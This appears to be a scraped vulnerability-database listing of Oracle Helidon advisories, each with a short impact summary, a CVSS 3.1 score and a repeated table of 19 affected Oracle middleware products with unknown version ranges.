vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated remote attackers to perform unauthorized data manipulation via HTTP, with a CVSS 3.1 base score of 7.2.
7.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware's Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to gain unauthorized access to sensitive data, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated remote attackers to modify or delete critical data via HTTP, with a CVSS 3.1 base score of 7.5 indicating high integrity impact.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows a high-privileged attacker with infrastructure access to compromise the system, potentially leading to unauthorized access to critical data, with a CVSS 3.1 base score of 4.4.
4.4 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows a low-privileged attacker with HTTP network access to gain unauthorized read and write access to certain Helidon data, rated with a CVSS 3.1 base score of 5.4.
5.4 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A denial of service vulnerability in Oracle Fusion Middleware's Helidon 3.2.19 allows unauthenticated attackers with HTTP access to hang or crash the server, rated CVSS 3.1 base score 7.5 for availability impact.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware's Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to gain unauthorized access to sensitive data, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to access sensitive data via HTTP, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to perform unauthorized data manipulation via HTTP, with a CVSS 3.1 base score of 7.2.
7.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to perform unauthorized data manipulation via HTTP, with a CVSS 3.1 base score of 7.2.
7.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP/2 network access to gain unauthorized sensitive data exposure, rated CVSS 3.1 base score 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A denial of service vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP/2 access to hang or crash the server, rated CVSS 3.1 base score 7.5 for availability impact.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
